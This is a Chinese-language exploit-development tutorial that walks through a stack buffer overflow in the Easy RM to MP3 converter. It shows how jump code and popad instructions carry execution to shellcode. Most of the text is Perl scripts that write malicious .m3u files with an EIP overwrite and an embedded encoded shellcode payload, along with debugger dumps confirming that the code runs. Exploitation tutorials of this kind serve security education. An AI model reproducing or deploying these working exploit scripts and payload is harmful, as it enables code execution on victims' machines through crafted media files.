0:010> a 7c92120e add esp,0x5e add esp,0x5e 7c921211 add esp,0x5e add esp,0x5e 7c921214 add esp,0x5e add esp,0x5e 7c921217 jmp esp jmp esp 7c921219 0:010> u 7c92120e ntdll!DbgBreakPoint: 7c92120e 83c45e add esp,5Eh 7c921211 83c45e add esp,5Eh 7c921214 83c45e add esp,5Eh 7c921217 ffe4 jmp esp 7c921219 04cc add al,0CCh 7c92121b c20400 ret 4 ntdll!NtCurrentTeb: 7c92121e 64a118000000 mov eax,dword ptr fs:[00000018h] 7c921224 c3 ret
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从上面我们可以知道jumpcode的机器码为：0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4
然后我们可以根据前面测试得到的一些信息来修改一下我们的exp，然后运行测试一下jmpcode是否可以覆盖ESP的位置
my $file= "blind_return_4.m3u"; my $buffersize = 26067; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; #position 300 my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = "BBBB"; my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e "\x83\xc4\x5e" . #add esp,0x5e "\x83\xc4\x5e" . #add esp,0x5e "\xff\xe4"; #jmp esp my $nop2 = "0x90" x 10; # only used to visually separate my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE);
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从图中我们可以看到，esp已经被我们的jmpcode覆盖，执行jmpcode后，ESP将会指向0xFFE50~0xFFE7B之间的地址
这样的话，最后我们就只需要将ESP修改为jmp esp指令的地址，来让EIP先指向我们的jmpcode处
在前面的调试中我们找到了一个符合我们要求jmp esp的地址（0x01b9f23a），直接拿来用就好。
调整shellcode布局在预定的shellcode处放置0xcc
my $file= "blind_return_5.m3u"; my $buffersize = 26067; my $junk= "A" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; #position 300 my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01b9f23a); my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e "\x83\xc4\x5e" . #add esp,0x5e "\x83\xc4\x5e" . #add esp,0x5e "\xff\xe4"; #jmp esp my $nop2 = "0x90" x 10; # only used to visually separate my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE); print "m3u File Created successfully\n";
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eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=000065e6
eip=000ffe7c esp=000ffe52 ebp=00104678 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
000ffe7c cc int 3
0:000> d esp
000ffe52 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe62 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ffe72 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ...........AAAAA
000ffe82 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffe92 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffea2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffeb2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ffec2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
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可以看到果然中断在了我们预定的地址，接下来我们就可以将0xcc替换为真正的shellcode，同时将字符’A’替换为’NOP’，之后就可以跳入更大的空间，所以只需要跳转188（2 * 5e）即可。
my $file= "blind_return_6.m3u"; my $buffersize = 26067; my $junk= "\x90" x 250; my $nop = "\x90" x 50; my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; #position 300 my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01b9f23a); my $preshellcode = "X" x 4; my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e "\x83\xc4\x5e" . #add esp,0x5e #"\x83\xc4\x5e" . #add esp,0x5e "\xff\xe4"; #jmp esp my $nop2 = "0x90" x 10; # only used to visually separate my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$jumpcode; close($FILE); print "m3u File Created successfully\n";
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成功弹出计算器
其它跳转方式
- popad
- 硬编码跳转地址
"popad"指令也可以帮助我们跳转到shellcode，popad将从栈ESP中弹出DWORD数据，并赋予各通用寄存器，他按以下顺序加载各寄存器：EDI, ESI, EBP, EDX, ECX, EAX. 因此，每次加载寄存器（popad引起的）时ESP都会递增。一次popad将用掉ESP中的32字节，并以有序的方式将其pop到个寄存器中。
popad的机器码是0x61
假设你需要跳转40字节，而你只有两字节可以用于跳转，那么你可以使用两个popad指令来使ESP指向shellcode（以一串NOP指令开头以弥补我们两次跳过的32bytes - 40bytes大小的空间）。让我们再次以 Easy RM to MP3漏洞来演示这项技术：
我们还使用我们前面用的脚本来练习，伪造一个缓冲区，在ESP处填充13个“X”,然后再放置一些垃圾数据（“D”&“A”）。后面接着放置我们的shellcode（NOPS + A’s）
my $file= "test1.m3u";
my $buffersize = 26067;
my $junk= "C" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
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eax=00000001 ebx=00104a58 ecx=7c93003d edx=00aa0000 esi=77c2fce0 edi=0000664c eip=42424242 esp=000ffd38 ebp=00104678 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 42424242 ?? ??? 0:000> d esp 000ffd38 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44 XXXXXXXXXXXXXDDD 000ffd48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffd58 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffd68 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffd78 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffd88 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffd98 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 000ffda8 44 00 43 43 43 43 43 43-43 43 43 43 43 43 43 43 D.CCCCCCCCCCCCCC 0:000> d 000ffdb8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffdc8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffdd8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffde8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffdf8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe08 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe18 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe28 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0:000> d 000ffe38 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe48 43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90 CC.............. 000ffe58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe78 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA 000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
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假设我们需要直接在ESP中的13字节“X”里面跳过100字节“D”和160字节“A”（共260字节），末尾再放置shellcode（以NOPs开头，接着放一个"0xcc"，然后A’s（shellcode）。一个popad指令相当于从栈中弹出32字节，因此260字节 = 9 * popad’s - 28 bytes。因此，我们需要在shellcode头部的位置放置一段NOPs，或者起始于shellcode入口地址 + 28字节。至此，我们已在shellcode之前放置NOPs，现在可以尝试使用"popad"指令进入NOPs，然后看程序是否能够中断在断点处。
调整一下脚本，还用我们之前找好的 jmp esp 地址覆盖 EIP 然后用9个 popad 指令替代之前的 X‘s，之后再接上0xff 0xE4(jmp esp)。
my $file= "test2.m3u"; my $buffersize = 26067; my $junk= "C" x 250; my $nop = "\x90" x 50; my $shellcode = "\xcc"; my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01b9f23a); my $preshellcode = "X" * 4; $preshellcode = $preshellcode . "\x61" x 9; $preshellcode = $preshellcode . "\xff\xe4"; $preshellcode = $preshellcode . "\x90" x 3; #let's pretend this is the only space we have available my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$garbage; close($FILE);
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打开文件后断在了我们设置的int3断点处。查看一下当前EIP和ESP的情况：
eax=43434343 ebx=43434395 ecx=43434343 edx=43434343 esi=43434343 edi=43434343 eip=000ffe7c esp=000ffdf8 ebp=43434343 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 000ffe7c cc int 3 0:000> d eip 000ffe7c cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA 000ffe8c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe9c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffeac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffebc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffecc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffedc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffeec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d eip-32 000ffe4a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe5a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe6a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe7a 90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA 000ffe8a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffeaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffeba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d esp 000ffdf8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe08 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe18 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe28 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe38 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 000ffe48 43 43 90 90 90 90 90 90-90 90 90 90 90 90 90 90 CC.............. 000ffe58 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ffe68 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ffe78 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA 000ffe88 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffe98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffea8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffeb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffec8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffed8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ffee8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
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接下来可以使用真正的shellcode来替换掉"0xcc"
my $file= "test3.m3u"; my $buffersize = 26067; my $junk= "C" x 250; my $nop = "\x90" x 50; my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca"; my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode))); my $eip = pack('V',0x01b9f23a); my $preshellcode = "X" * 4; $preshellcode = $preshellcode . "\x61" x 9; $preshellcode = $preshellcode . "\xff\xe4"; $preshellcode = $preshellcode . "\x90" x 3; #let's pretend this is the only space we have available my $garbage = "D" x 100; #let’s pretend this is the space we need to jump over my $buffer = $junk.$nop.$shellcode.$restofbuffer; print "Size of buffer : ".length($buffer)."\n"; open($FILE,">$file"); print $FILE $buffer.$eip.$preshellcode.$garbage; close($FILE);
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shellcode执行成功
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